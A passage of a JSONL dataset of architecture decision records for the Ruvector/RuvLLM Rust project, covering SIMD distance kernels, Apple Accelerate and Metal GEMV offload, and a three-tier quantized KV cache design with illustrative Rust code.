expiration |\n| Schema complexity | Strong typing with Rust structs; comprehensive validation |\n| Cold start | Bundle sensible default policies; warm cache from federated network |\n\n---\n\n## Related Decisions\n\n- **ADR-001**: Ruvector Core Architecture (HNSW, Graph Store)\n- **ADR-003**: SIMD Optimization Strategy\n- **ADR-004**: KV Cache Management\n- **ADR-005**: WASM Runtime Integration\n- **ADR-006**: Memory Management\n- **ADR-007**: Security Review & Technical Debt (v2.1 audit findings)\n\n---\n\n## Compliance and Standards\n\n### Performance Standards\n- All Ruvector operations must complete within latency budget\n- Memory pool must never exceed configured budget\n- Witness log writes must be non-blocking\n\n### Data Standards\n- All embeddings use consistent 768-D representation\n- Timestamps in UTC with millisecond precision\n- UUIDs for all entity identifiers\n\n### Security Considerations\n- Session data may contain user context; encryption at rest required\n- Audit logs must support retention policies for compliance\n- Kernel packs must be signed and verified before loading\n\n---\n\n## References\n\n1. RuvLLM Architecture Documentation: `/examples/ruvLLM/docs/sparc/03-architecture.md`\n2. SONA Overview: `/examples/ruvLLM/docs/SONA/00-OVERVIEW.md`\n3. mistral.rs Paged Attention: https://github.com/EricLBuehler/mistral.rs\n4. vLLM PagedAttention Paper: \"Efficient Memory Management for Large Language Model Serving\"\n5. Ruvector Core Documentation: https://github.com/ruvnet/ruvector\n\n---\n\n## Implementation Status (v2.1.1)\n\n| Component | Status | Notes |\n|-----------|--------|-------|\n| KV Cache Manager | \u2705 Implemented | Two-tier FP16/Q4 with safety fixes |\n| Session Store | \u2705 Implemented | SQLite-backed with WASM support |\n| Pattern Memory | \u2705 Implemented | HNSW-indexed ReasoningBank |\n| Witness Logs | \u26a0\ufe0f Partial | Schema defined, async writes pending |\n| Metal Shaders | \u2705 Implemented | GEMV kernels with simdgroup reduction (v2.1.1) |\n| Metal GPU GEMV | \u2705 Implemented | Auto-offload for 512x512+ matrices, 3x speedup |\n| Accelerate BLAS | \u2705 Implemented | AMX coprocessor via cblas_sgemv, 2x speedup |\n| Speculative Decoding | \u2705 Implemented | Enabled by default, auto-detect draft models |\n| Token Generation | \u274c Stub | Placeholder returns dummy response |\n| GGUF Loading | \u274c Stub | Parser exists, loading not wired |\n\n**Performance Status (v2.1.1):**\n- Target decode speed: 200+ tok/s (beating MLX's ~160 tok/s)\n- Accelerate Framework: 80+ GFLOPS (2x vs pure NEON)\n- Metal GPU: 100+ GFLOPS (3x vs CPU)\n- Speculative Decoding: 2-3x decode speedup\n\n**Security Status:** 8 critical vulnerabilities fixed (2026-01-19). See ADR-007 for full audit trail.\n\n---\n\n## Revision History\n\n| Version | Date | Author | Changes |\n|---------|------|--------|---------|\n| 1.0 | 2026-01-18 | Ruvector Architecture Team | Initial version |\n| 1.1 | 2026-01-19 | Security Review Agent | Added implementation status, linked ADR-007 |\n| 1.2 | 2026-01-19 | Performance Optimization Agents | Added v2.1.1 components: Metal GPU GEMV, Accelerate BLAS, Speculative Decoding; added Performance Status section |", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-002-ruvllm-integration.md", "created_at": "2026-03-28T11:58:48.802968+00:00", "content_hash": "eb4068aaae4783684627364db9e4023daf43964f252a1dc9d04a74592aca9927"} +{"id": "12e62a45-1190-438f-8ce3-c9b43b1af193", "source": "adr", "text": "# ADR-003: SIMD Optimization Strategy for Ruvector and RuvLLM\n\n## Status\n\n**Accepted** (NEON implementation complete, AVX2 implementation complete)\n\n## Date\n\n2025-01-18\n\n## Context\n\nRuvector is a high-performance vector database and neural computation library that requires optimal performance across multiple hardware platforms. The core distance calculations (Euclidean, Cosine, Dot Product, Manhattan) are the most frequently executed operations and represent critical hot paths in:\n\n- Vector similarity search (HNSW index queries)\n- Embedding comparisons\n- Neural network inference (RuvLLM)\n- Clustering algorithms\n\n### Target Architectures\n\n| Architecture | SIMD Extension | Register Width | Floats per Register |\n|--------------|----------------|----------------|---------------------|\n| Apple Silicon (M1/M2/M3/M4) | ARM NEON | 128-bit | 4 x f32 |\n| x86_64 (Intel/AMD) | AVX2 | 256-bit | 8 x f32 |\n| x86_64 (newer Intel) | AVX-512 | 512-bit | 16 x f32 |\n| WebAssembly | SIMD128 | 128-bit | 4 x f32 |\n\n### Performance Requirements\n\n- Sub-millisecond latency for typical vector operations (128-1536 dimensions)\n- Support for batch processing of 10,000+ vectors\n- Minimal memory overhead\n- Graceful fallback on unsupported platforms\n\n## Decision\n\nWe adopt an **architecture-specific SIMD implementation with unified dispatch** strategy. Each target architecture receives hand-optimized intrinsics while maintaining a common public API.\n\n### Architecture Dispatch Pattern\n\n```\neuclidean_distance_simd()\n |\n +-- [aarch64] --> euclidean_distance_neon_impl()\n |\n +-- [x86_64 + AVX2] --> euclidean_distance_avx2_impl()\n |\n +-- [fallback] --> euclidean_distance_scalar()\n```\n\n### Implementation Strategy\n\n1. **ARM64 (Apple Silicon)**: Use `std::arch::aarch64` NEON intrinsics directly\n2. **x86_64**: Use `std::arch::x86_64` with runtime AVX2 detection via `is_x86_feature_detected!`\n3. **WebAssembly**: Use `wasm_bindgen` SIMD (future work)\n4. **Fallback**: Pure Rust scalar implementation for unsupported platforms\n\n## Implementation Details\n\n### File Location\n\n```\ncrates/ruvector-core/src/simd_intrinsics.rs\n```\n\n### NEON Intrinsics (ARM64/Apple Silicon)\n\nThe following NEON intrinsics are used for optimal Apple Silicon performance:\n\n| Operation | NEON Intrinsics | Purpose |\n|-----------|-----------------|---------|\n| Load | `vld1q_f32` | Load 4 floats from memory |\n| Subtract | `vsubq_f32` | Element-wise subtraction |\n| Multiply-Add | `vfmaq_f32` | Fused multiply-accumulate |\n| Absolute | `vabsq_f32` | Element-wise absolute value |\n| Add | `vaddq_f32` | Element-wise addition |\n| Initialize | `vdupq_n_f32` | Broadcast scalar to vector |\n| Reduce | `vaddvq_f32` | Horizontal sum of vector |\n\n#### Euclidean Distance (NEON)\n\n```rust\n#[cfg(target_arch = \"aarch64\")]\nunsafe fn euclidean_distance_neon_impl(a: &[f32], b: &[f32]) -> f32 {\n let len = a.len();\n let mut sum = vdupq_n_f32(0.0);\n\n // Process 4 floats at a time\n let chunks = len / 4;\n for i in 0..chunks {\n let idx = i * 4;\n let va = vld1q_f32(a.as_ptr().add(idx));\n let vb = vld1q_f32(b.as_ptr().add(idx));\n let diff = vsubq_f32(va, vb);\n sum = vfmaq_f32(sum, diff, diff); // sum += diff * diff\n }\n\n let mut total = vaddvq_f32(sum); // Horizontal sum\n\n // Handle remainder\n for i in (chunks * 4)..len {\n let diff = a[i] - b[i];\n total += diff * diff;\n }\n\n total.sqrt()\n}\n```\n\n#### Dot Product (NEON)\n\n```rust\n#[cfg(target_arch = \"aarch64\")]\nunsafe fn dot_product_neon_impl(a: &[f32], b: &[f32]) -> f32 {\n let len = a.len();\n let mut sum = vdupq_n_f32(0.0);\n\n let chunks = len / 4;\n for i in 0..chunks {\n let idx = i * 4;\n let va = vld1q_f32(a.as_ptr().add(idx));\n let vb = vld1q_f32(b.as_ptr().add(idx));\n sum = vfmaq_f32(sum, va, vb); // sum += a * b\n }\n\n let mut total = vaddvq_f32(sum);\n for i in (chunks * 4)..len {\n total += a[i] * b[i];\n }\n\n total\n}\n```\n\n#### Cosine Similarity (NEON)\n\nComputes dot product and both norms in a single pass for optimal cache utilization:\n\n```rust\n#[cfg(target_arch = \"aarch64\")]\nunsafe fn cosine_similarity_neon_impl(a: &[f32], b: &[f32]) -> f32 {\n let len = a.len();\n let mut dot = vdupq_n_f32(0.0);\n let mut norm_a = vdupq_n_f32(0.0);\n let mut norm_b = vdupq_n_f32(0.0);\n\n let chunks = len / 4;\n for i in 0..chunks {\n let idx = i * 4;\n let va = vld1q_f32(a.as_ptr().add(idx));\n let vb = vld1q_f32(b.as_ptr().add(idx));\n\n dot = vfmaq_f32(dot, va, vb);\n norm_a = vfmaq_f32(norm_a, va, va);\n norm_b = vfmaq_f32(norm_b, vb, vb);\n }\n\n let mut dot_sum = vaddvq_f32(dot);\n let mut norm_a_sum = vaddvq_f32(norm_a);\n let mut norm_b_sum = vaddvq_f32(norm_b);\n\n for i in (chunks * 4)..len {\n dot_sum += a[i] * b[i];\n norm_a_sum += a[i] * a[i];\n norm_b_sum += b[i] * b[i];\n }\n\n dot_sum / (norm_a_sum.sqrt() * norm_b_sum.sqrt())\n}\n```\n\n#### Manhattan Distance (NEON)\n\n```rust\n#[cfg(target_arch = \"aarch64\")]\nunsafe fn manhattan_distance_neon_impl(a: &[f32], b: &[f32]) -> f32 {\n let len = a.len();\n let mut sum = vdupq_n_f32(0.0);\n\n let chunks = len / 4;\n for i in 0..chunks {\n let idx = i * 4;\n let va = vld1q_f32(a.as_ptr().add(idx));\n let vb = vld1q_f32(b.as_ptr().add(idx));\n let diff = vsubq_f32(va, vb);\n let abs_diff = vabsq_f32(diff);\n sum = vaddq_f32(sum, abs_diff);\n }\n\n let mut total = vaddvq_f32(sum);\n for i in (chunks * 4)..len {\n total += (a[i] - b[i]).abs();\n }\n\n total\n}\n```\n\n### AVX2 Intrinsics (x86_64)\n\nThe x86_64 implementation uses 256-bit AVX2 registers, processing 8 floats per iteration:\n\n| Operation | AVX2 Intrinsics | Purpose |\n|-----------|-----------------|---------|\n| Load | `_mm256_loadu_ps` | Load 8 floats (unaligned) |\n| Subtract | `_mm256_sub_ps` | Element-wise subtraction |\n| Multiply | `_mm256_mul_ps` | Element-wise multiplication |\n| Add | `_mm256_add_ps` | Element-wise addition |\n| Initialize | `_mm256_setzero_ps` | Zero vector |\n| Reduce | `std::mem::transmute` + sum | Horizontal sum |\n\n### Apple Accelerate Framework (macOS)\n\n**Status:** \u2705 Implemented (v2.1.1)\n\nFor matrix operations exceeding threshold sizes, RuvLLM leverages Apple's Accelerate Framework to access the AMX (Apple Matrix Extensions) coprocessor, which provides hardware-accelerated BLAS operations not available through standard NEON intrinsics.\n\n| Operation | Accelerate Function | Performance |\n|-----------|---------------------|-------------|\n| GEMV | `cblas_sgemv` | 80+ GFLOPS (2x vs NEON) |\n| GEMM | `cblas_sgemm` | Hardware-accelerated |\n| Dot Product | `cblas_sdot` | Vectorized |\n| Scale | `cblas_sscal` | In-place scaling |\n| AXPY | `cblas_saxpy` | Vector addition |\n\n**Implementation:** `crates/ruvllm/src/kernels/accelerate.rs`\n\n```rust\n/// Auto-switching threshold: 256x256 matrices (65K operations)\npub fn gemv_accelerate(a: &[f32], x: &[f32], y: &mut [f32], m: usize, n: usize) {\n // Uses cblas_sgemv via FFI to Apple's Accelerate framework\n // Leverages AMX coprocessor for 2x+ speedup over pure NEON\n}\n```\n\n**Activation:** Enabled with `accelerate` feature flag, auto-switches for matrices >= 256x256.\n\n### Metal GPU GEMV (macOS)\n\n**Status:** \u2705 Implemented (v2.1.1)\n\nFor large matrix operations, RuvLLM can offload GEMV to Metal GPU compute shaders, achieving 3x speedup over CPU for decode-heavy workloads.\n\n| Kernel | Precision | Optimization |\n|--------|-----------|--------------|\n| `gemv_optimized_f32` | FP32 | Simdgroup reduction, 32 threads/row |\n| `gemv_optimized_f16` | FP16 | 2x throughput via half4 vectorization |\n| `batched_gemv_f32` | FP32 | Multi-head attention batching |\n| `gemv_tiled_f32` | FP32 | Threadgroup memory for large K |\n\n**Implementation:**\n- Shaders: `crates/ruvllm/src/metal/shaders/gemv.metal`\n- Rust API: `crates/ruvllm/src/metal/operations.rs`\n- Auto-switch: `crates/ruvllm/src/kernels/matmul.rs`\n\n```rust\n/// Auto-switching threshold: 512x512 matrices\npub fn gemv_metal_if_available(a: &[f32], x: &[f32], m: usize, n: usize) -> Vec {\n // Attempts Metal GPU, falls back to Accelerate/NEON\n}\n```\n\n**Performance Target:** 100+ GFLOPS on M4 Pro GPU (3x speedup vs CPU).\n\n### Public API\n\nAll SIMD implementations are exposed through unified public functions:\n\n```rust\npub fn euclidean_distance_simd(a: &[f32], b: &[f32]) -> f32;\npub fn dot_product_simd(a: &[f32], b: &[f32]) -> f32;\npub fn cosine_similarity_simd(a: &[f32], b: &[f32]) -> f32;\npub fn manhattan_distance_simd(a: &[f32], b: &[f32]) -> f32;\n\n// Legacy aliases for backward compatibility\npub fn euclidean_distance_avx2(a: &[f32], b: &[f32]) -> f32;\npub fn dot_product_avx2(a: &[f32], b: &[f32]) -> f32;\npub fn cosine_similarity_avx2(a: &[f32], b: &[f32]) -> f32;\n```\n\n### Security Considerations\n\nAll SIMD implementations include bounds checking:\n\n```rust\nassert_eq!(a.len(), b.len(), \"Input arrays must have the same length\");\n```\n\nThis prevents out-of-bounds memory access in the unsafe SIMD code paths.\n\n## Benchmark Results\n\n### Test Configuration\n\n- **Benchmark file**: `crates/ruvector-core/examples/neon_benchmark.rs`\n- **Platform**: Apple Silicon M4 Pro\n- **Vector dimensions**: 128 (common embedding size)\n- **Dataset**: 10,000 vectors\n- **Queries**: 1,000\n- **Total operations**: 10,000,000 distance calculations per metric\n\n### Performance Results\n\n| Distance Metric | Scalar (ms) | SIMD (ms) | Speedup |\n|-----------------|-------------|-----------|---------|\n| Euclidean Distance | ~X | ~Y | **2.96x** |\n| Dot Product | ~X | ~Y | **3.09x** |\n| Cosine Similarity | ~X | ~Y | **5.96x** |\n| Manhattan Distance | ~X | ~Y | **~3.0x** (estimated) |\n\n### Analysis\n\n1. **Cosine Similarity achieves highest speedup (5.96x)** because the SIMD implementation computes dot product and both norms in a single pass, maximizing data reuse and minimizing memory bandwidth.\n\n2. **Dot Product (3.09x)** benefits directly from `vfmaq_f32` fused multiply-accumulate.\n\n3. **Euclidean Distance (2.96x)** requires an additional `vsubq_f32` operation per iteration.\n\n4. **Performance scales with vector dimension**: Larger vectors (256, 512, 1536 dimensions) show even better speedups due to reduced loop overhead ratio.\n\n### Running Benchmarks\n\n```bash\ncargo run --example neon_benchmark --release -p ruvector-core\n```\n\n## Consequences\n\n### Positive\n\n1. **Significant performance improvement**: 2.96x-5.96x speedup on hot paths\n2. **Cross-platform optimization**: Optimal code paths for each architecture\n3. **Backward compatibility**: Legacy `*_avx2` functions continue to work\n4. **No external dependencies**: Uses only Rust's `std::arch` intrinsics\n5. **Automatic dispatch**: Runtime detection on x86_64, compile-time on ARM64\n6. **Safe public API**: All unsafe code is encapsulated internally\n\n### Negative\n\n1. **Code complexity**: Multiple implementations per function\n2. **Maintenance burden**: Architecture-specific code paths require testing on each platform\n3. **Unsafe code**: SIMD intrinsics require unsafe blocks (mitigated by encapsulation)\n\n### Neutral\n\n1. **Scalar fallback**: Non-SIMD platforms still work, just slower\n2. **Build times**: Additional conditional compilation does not significantly impact build time\n\n## Future Work\n\n### Phase 2: Portable SIMD Abstraction\n\nInvestigate the **macerator** crate for portable SIMD abstraction that could:\n- Reduce code duplication\n- Simplify maintenance\n- Automatically target new SIMD extensions\n\n### Phase 3: AVX-512 Support\n\nFor newer Intel processors (Ice Lake, Sapphire Rapids), add AVX-512 implementations:\n- 512-bit registers (16 x f32 per operation)\n- Expected additional 1.5-2x speedup over AVX2\n\n### Phase 4: WebAssembly SIMD\n\nFor browser-based deployments:\n- SIMD128 intrinsics via `wasm_bindgen`\n- 128-bit operations (4 x f32)\n- Feature detection via `wasm_feature_detect`\n\n### Phase 5: INT8 Quantized Operations\n\nFor RuvLLM inference optimization:\n- `vdotq_s32` (NEON) for int8 dot products\n- `_mm256_maddubs_epi16` (AVX2) for int8 GEMM\n- Expected 12-16x speedup for quantized models\n\n## References\n\n1. ARM NEON Intrinsics Reference: https://developer.arm.com/architectures/instruction-sets/intrinsics\n2. Intel Intrinsics Guide: https://www.intel.com/content/www/us/en/docs/intrinsics-guide\n3. Rust `std::arch` documentation: https://doc.rust-lang.org/std/arch/index.html\n4. Source implementation: `crates/ruvector-core/src/simd_intrinsics.rs`\n5. Benchmark code: `crates/ruvector-core/examples/neon_benchmark.rs`\n6. Related analysis: `docs/simd-optimization-analysis.md`\n\n## Appendix: Full Benchmark Output Template\n\n```\n+================================================================+\n| NEON SIMD Benchmark for Apple Silicon (M4 Pro) |\n+================================================================+\n\nConfiguration:\n - Dimensions: 128\n - Vectors: 10,000\n - Queries: 1,000\n - Total distance calculations: 10,000,000\n\nPlatform: ARM64 (Apple Silicon) - NEON enabled\n\n=================================================================\nEuclidean Distance:\n=================================================================\n SIMD: XXX.XX ms (checksum: X.XXXX)\n Scalar: XXX.XX ms (checksum: X.XXXX)\n Speedup: 2.96x\n\n=================================================================\nDot Product:\n=================================================================\n SIMD: XXX.XX ms (checksum: X.XXXX)\n Scalar: XXX.XX ms (checksum: X.XXXX)\n Speedup: 3.09x\n\n=================================================================\nCosine Similarity:\n=================================================================\n SIMD: XXX.XX ms (checksum: X.XXXX)\n Scalar: XXX.XX ms (checksum: X.XXXX)\n Speedup: 5.96x\n\n=================================================================\nBenchmark complete!\n```\n\n---\n\n## Related Decisions\n\n- **ADR-001**: Ruvector Core Architecture\n- **ADR-002**: RuvLLM Integration\n- **ADR-005**: WASM Runtime Integration\n- **ADR-007**: Security Review & Technical Debt\n\n---\n\n## Outstanding Items\n\nThe following SIMD-related technical debt was identified in the v2.1 security review:\n\n| Item | Priority | Effort | Description |\n|------|----------|--------|-------------|\n| TD-006 | P1 | 4h | NEON activation functions process scalars, not vectors |\n| TD-009 | P2 | 4h | Excessive allocations in attention layer |\n\nSee ADR-007 for full technical debt breakdown.\n\n---\n\n## Revision History\n\n| Version | Date | Author | Changes |\n|---------|------|--------|---------|\n| 1.0 | 2026-01-18 | RuVector Architecture Team | Initial version |\n| 1.1 | 2026-01-19 | Security Review Agent | Added outstanding items, related decisions |\n| 1.2 | 2026-01-19 | Performance Optimization Agents | Added Accelerate Framework and Metal GPU GEMV sections |", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-003-simd-optimization-strategy.md", "created_at": "2026-03-28T11:58:48.803207+00:00", "content_hash": "512297131b65f69f140de8a573930671f1d613d9ce434ee19efd4bb54a39658c"} +{"id": "656cce47-ad5d-4910-8e3b-11ce7e7c122e", "source": "adr", "text": "# ADR-004: KV Cache Management Strategy for RuvLLM\n\n**Status**: Proposed\n**Date**: 2026-01-18\n**Authors**: ruv.io, RuVector Team\n**Deciders**: Architecture Review Board\n**SDK**: Claude-Flow\n\n## Version History\n\n| Version | Date | Author | Changes |\n|---------|------|--------|---------|\n| 0.1 | 2026-01-18 | ruv.io | Initial architecture proposal |\n\n---\n\n## Context\n\n### The Memory Bottleneck Problem\n\nKV (Key-Value) cache is the primary memory bottleneck for long-context LLM inference. The cache grows linearly with sequence length and batch size, quickly dominating memory consumption:\n\n**Memory Scaling Analysis:**\n\n| Model Size | Batch | Context | KV Cache (FP16) | KV Cache (FP32) |\n|------------|-------|---------|-----------------|-----------------|\n| 7B | 1 | 2048 | ~256 MB | ~512 MB |\n| 70B | 1 | 2048 | ~2.6 GB | ~5.2 GB |\n| 70B | 32 | 2048 | ~83 GB | ~166 GB |\n| 540B | 512 | 2048 | **~3 TB** | ~6 TB |\n| 70B | 1 | 128K | ~166 GB | ~332 GB |\n\n**Formula:** `KV_cache_size = 2 * num_layers * num_heads * head_dim * seq_len * batch_size * bytes_per_element`\n\n### Current Limitations\n\nThe existing `ruvector-mincut-gated-transformer` implementation provides:\n- Basic 2-bit and 4-bit quantization via Hadamard transform (RotateKV)\n- Per-head min/max scaling factors\n- ~16x compression at 2-bit, ~8x at 4-bit\n\n**However, it lacks:**\n\n| Limitation | Impact |\n|------------|--------|\n| **Single-tier quantization** | Cannot adapt precision to token staleness |\n| **No temporal awareness** | Recent tokens (high precision) treated same as stale tokens |\n| **Limited to FP32 scales** | Scale storage overhead not optimized |\n| **No rematerialization** | Cannot trade compute for memory in extreme cases |\n| **Static policy** | No adaptive threshold tuning based on quality metrics |\n\n### The Missing Primitive\n\nCurrent implementations ask:\n> \"How do I quantize all KV cache entries uniformly?\"\n\nThey cannot ask:\n> \"Which tokens need high precision now, and which can be aggressively compressed without quality loss?\"\n\n**That question, answered dynamically based on attention patterns and token staleness, is the missing primitive.**\n\n---\n\n## Decision\n\n### Introduce a Three-Tier Adaptive KV Cache Management System\n\nWe propose a hierarchical KV cache architecture combining:\n\n1. **High-Precision Tail Buffer**: Recent tokens in FP16/BF16\n2. **Moderate Quantization Zone**: Intermediate tokens in 4-bit (KIVI)\n3. **Aggressive Compression Zone**: Stale tokens in 2-bit (KIVI/SQuat)\n\n### Architecture Overview\n\n```\n+===========================================================================+\n| THREE-TIER KV CACHE ARCHITECTURE |\n+===========================================================================+\n| |\n| +---------------------------------------------------------------------+ |\n| | TOKEN SEQUENCE (left=old, right=new) | |\n| | [0]...[N-1024]...[N-512]...[N-256]...[N-64]...[N-16]...[N-1]...[N] | |\n| +---------------------------------------------------------------------+ |\n| | | | | |\n| v v v v |\n| +----------------+ +----------------+ +----------------+ |\n| | TIER 3: | | TIER 2: | | TIER 1: | |\n| | DEEP ARCHIVE | | WARM CACHE | | HOT BUFFER | |\n| | | | | | | |\n| | * 2-bit KIVI | | * 4-bit KIVI | | * FP16/BF16 | |\n| | * SQuat for | | * Per-channel | | * Full | |\n| | extreme | | keys, per- | | precision | |\n| | contexts | | token vals | | * No quant | |\n| | * KVQuant for | | | | overhead | |\n| | quality- | | | | | |\n| | critical | | | | | |\n| +--------+-------+ +--------+-------+ +--------+-------+ |\n| | | | |\n| +---------+---------+---------+---------+ |\n| | |\n| v |\n| +---------------------------------------------------------------------+ |\n| | DEQUANTIZATION ON ATTENTION | |\n| | | |\n| | For each attention computation: | |\n| | 1. Hot buffer: Direct FP16 access (no overhead) | |\n| | 2. Warm cache: Dequantize 4-bit -> FP16 (fast) | |\n| | 3. Deep archive: Dequantize 2-bit -> FP16 (acceptably slow) | |\n| | 4. Discard scratch after attention computation | |\n| +---------------------------------------------------------------------+ |\n| |\n+============================================================================+\n```\n\n### Core Components\n\n#### 1. Quantization Strategy Decision Tree\n\n```\n +------------------+\n | TOKEN AGE CHECK |\n +--------+---------+\n |\n +-------------------+-------------------+\n | | |\n v v v\n +-----------------+ +-----------------+ +-----------------+\n | age < T_hot | | T_hot <= age | | age >= T_stale |\n | (e.g., < 64) | | < T_stale | | (e.g., >= 512) |\n +-----------------+ | (e.g., 64-511) | +-----------------+\n | +-----------------+ |\n v | v\n +-----------------+ | +-----------------+\n | TIER 1: HOT | | | TIER 3: ARCHIVE |\n | Full FP16 | v +---------+-------+\n +-----------------+ +-----------------+ |\n | TIER 2: WARM | |\n | 4-bit KIVI | +------+------+\n +-----------------+ | |\n v v\n +-----------+ +-----------+\n | seq < 2K | | seq >= 2K |\n +-----------+ +-----------+\n | |\n v v\n +-----------+ +-----------+\n | 2-bit | | Context |\n | KIVI | | Check |\n +-----------+ +-----+-----+\n |\n +----------+----------+\n | |\n v v\n +-----------+ +-----------+\n | seq < 8K | | seq >= 8K |\n | SQuat | | KVQuant |\n | (2.2-2.8x)| | (3-bit) |\n +-----------+ +-----------+\n```\n\n#### 2. KIVI 2-bit Quantization (Primary Stale Segment Strategy)\n\n**When to use:** Default for tokens > 512 positions old\n\n**Implementation:**\n\n```rust\n/// KIVI 2-bit quantization with asymmetric per-channel/per-token schemes\n/// Based on: \"KIVI: A Tuning-Free Asymmetric 2bit Quantization for KV Cache\" (Liu et al., 2024)\npub struct KiviQuantizer {\n /// Quantization bit width\n bits: u8, // 2 for KIVI\n /// Per-channel quantization for keys (reduces outlier impact)\n key_scheme: QuantScheme::PerChannel,\n /// Per-token quantization for values (preserves magnitude distribution)\n value_scheme: QuantScheme::PerToken,\n /// Residual length for FP16 tail\n residual_length: usize,\n}\n\n/// Quantization scheme variants\n#[derive(Clone, Copy, Debug)]\npub enum QuantScheme {\n /// Per-channel: one scale per head dimension (for keys)\n PerChannel,\n /// Per-token: one scale per token position (for values)\n PerToken,\n /// Per-group: compromise between channel and token\n PerGroup { group_size: usize },\n}\n\nimpl KiviQuantizer {\n /// Quantize key tensor with per-channel scaling\n /// K shape: [batch, heads, seq_len, head_dim]\n pub fn quantize_keys(&self, keys: &Tensor) -> QuantizedKV {\n let [b, h, s, d] = keys.shape();\n\n // Compute per-channel (per head_dim) statistics\n // Scale shape: [batch, heads, 1, head_dim]\n let scale = keys.abs().max_keepdim(dim=2) / ((1 << self.bits) - 1) as f32;\n\n // Quantize with rounding\n let quantized = (keys / scale.expand([b, h, s, d]))\n .round()\n .clamp(0, (1 << self.bits) - 1)\n .to_dtype(DType::U8);\n\n QuantizedKV {\n data: quantized,\n scale,\n scheme: QuantScheme::PerChannel,\n }\n }\n\n /// Quantize value tensor with per-token scaling\n /// V shape: [batch, heads, seq_len, head_dim]\n pub fn quantize_values(&self, values: &Tensor) -> QuantizedKV {\n let [b, h, s, d] = values.shape();\n\n // Compute per-token statistics\n // Scale shape: [batch, heads, seq_len, 1]\n let scale = values.abs().max_keepdim(dim=3) / ((1 << self.bits) - 1) as f32;\n\n // Quantize with rounding\n let quantized = (values / scale.expand([b, h, s, d]))\n .round()\n .clamp(0, (1 << self.bits) - 1)\n .to_dtype(DType::U8);\n\n QuantizedKV {\n data: quantized,\n scale,\n scheme: QuantScheme::PerToken,\n }\n }\n}\n```\n\n**Memory Reduction Analysis:**\n\n| Component | FP16 Size | 2-bit KIVI Size | Reduction |\n|-----------|-----------|-----------------|-----------|\n| Keys (per head) | 2 bytes/element | 0.25 bytes + scale overhead | **~7-8x** |\n| Values (per token) | 2 bytes/element | 0.25 bytes + scale overhead | **~7-8x** |\n| Combined | 4 bytes/element | ~0.5-0.6 bytes/element | **~6.5-8x** |\n\n**Quality Impact:**\n- Perplexity degradation: < 0.3 PPL on LLaMA-7B\n- Task accuracy: < 1% degradation on MMLU, HellaSwag\n\n#### 3. SQuat for Extreme Contexts (> 2048 tokens)\n\n**When to use:** Stale segments in contexts > 2048 tokens where KIVI alone is insufficient\n\n**Based on:** \"SQuat: Subspace-Orthogonal Quantization for KV Cache\" (2024)\n\n```rust\n/// SQuat: Subspace-orthogonal quantization for additional compression\n/// Achieves 2.2-2.8x reduction beyond KIVI through subspace decomposition\npub struct SQuatQuantizer {\n /// Number of orthogonal subspaces\n num_subspaces: usize, // typically 4-8\n /// Bits per subspace component\n bits_per_subspace: u8, // typically 2\n /// Learned orthogonal basis matrices (per layer)\n bases: Vec, // [layers][head_dim, head_dim]\n}\n\nimpl SQuatQuantizer {\n /// Project to orthogonal subspace before quantization\n pub fn quantize(&self, kv: &Tensor, layer: usize) -> SQuatCompressed {\n // Project to orthogonal subspace\n // This decorrelates components, enabling better quantization\n let projected = kv.matmul(&self.bases[layer]);\n\n // Quantize each subspace independently\n let mut subspace_data = Vec::with_capacity(self.num_subspaces);\n let subspace_dim = kv.shape().last() / self.num_subspaces;\n\n for i in 0..self.num_subspaces {\n let start = i * subspace_dim;\n let end = (i + 1) * subspace_dim;\n let subspace = projected.slice(dim=-1, start, end);\n\n // Independent scale per subspace\n let scale = subspace.abs().max() / ((1 << self.bits_per_subspace) - 1) as f32;\n let quantized = (subspace / scale)\n .round()\n .clamp(0, (1 << self.bits_per_subspace) - 1);\n\n subspace_data.push(QuantizedSubspace { data: quantized, scale });\n }\n\n SQuatCompressed {\n subspaces: subspace_data,\n basis_idx: layer,\n }\n }\n\n /// Dequantize and project back from orthogonal subspace\n pub fn dequantize(&self, compressed: &SQuatCompressed) -> Tensor {\n // Reconstruct from subspaces\n let mut reconstructed = Tensor::zeros_like(/* original shape */);\n\n for (i, subspace) in compressed.subspaces.iter().enumerate() {\n let dequant = subspace.data.to_dtype(DType::F16) * subspace.scale;\n reconstructed.slice_assign(dim=-1, i * subspace_dim, dequant);\n }\n\n // Project back from orthogonal subspace\n // bases are orthogonal, so inverse = transpose\n reconstructed.matmul(&self.bases[compressed.basis_idx].transpose())\n }\n}\n```\n\n**Memory Reduction:**\n- Additional **2.2-2.8x** reduction beyond KIVI\n- Total compression: **~15-22x** vs FP16\n\n#### 4. KVQuant for Quality-Critical Long Contexts\n\n**When to use:** Contexts > 8K tokens where quality is paramount\n\n**Based on:** \"KVQuant: Towards 10 Million Context Length LLM Inference with KV Cache Quantization\" (Hooper et al., 2024)\n\n```rust\n/// KVQuant: 3-bit quantization with pre-RoPE key quantization\n/// Enables 1M+ token contexts with minimal quality loss\npub struct KVQuantQuantizer {\n /// Quantization bits (typically 3)\n bits: u8,\n /// Per-channel key quantization (before RoPE)\n key_mode: KVQuantKeyMode::PreRoPE,\n /// Per-token value quantization with outlier handling\n value_mode: KVQuantValueMode::NonUniform,\n /// Calibration data for scale computation\n calibration: Option,\n}\n\n#[derive(Clone, Copy, Debug)]\npub enum KVQuantKeyMode {\n /// Quantize keys BEFORE RoPE application (critical insight)\n /// Pre-RoPE keys have smaller dynamic range, quantize better\n PreRoPE,\n /// Standard post-RoPE quantization\n PostRoPE,\n}\n\n#[derive(Clone, Copy, Debug)]\npub enum KVQuantValueMode {\n /// Uniform quantization\n Uniform,\n /// Non-uniform quantization with special outlier bins\n NonUniform { outlier_threshold: f32 },\n}\n\nimpl KVQuantQuantizer {\n /// Quantize with pre-RoPE key handling\n /// Key insight: Quantize K BEFORE RoPE, dequantize + apply RoPE during attention\n pub fn quantize_key_pre_rope(&self, key: &Tensor, position: usize) -> QuantizedKV {\n // Note: key here is PRE-RoPE (before positional encoding)\n // This is the critical insight from KVQuant paper\n\n let scale = self.compute_key_scale(key);\n let quantized = self.quantize_tensor(key, scale, self.bits);\n\n QuantizedKV {\n data: quantized,\n scale,\n scheme: QuantScheme::PerChannel,\n needs_rope: true,\n position: Some(position), // Store position for later RoPE application\n }\n }\n\n /// During attention, dequantize and apply RoPE just-in-time\n pub fn dequantize_key_with_rope(\n &self,\n qkv: &QuantizedKV,\n rope: &RotaryEmbedding,\n ) -> Tensor {\n // Dequantize\n let key = self.dequantize_tensor(&qkv.data, &qkv.scale);\n\n // Apply RoPE now (deferred from quantization time)\n if 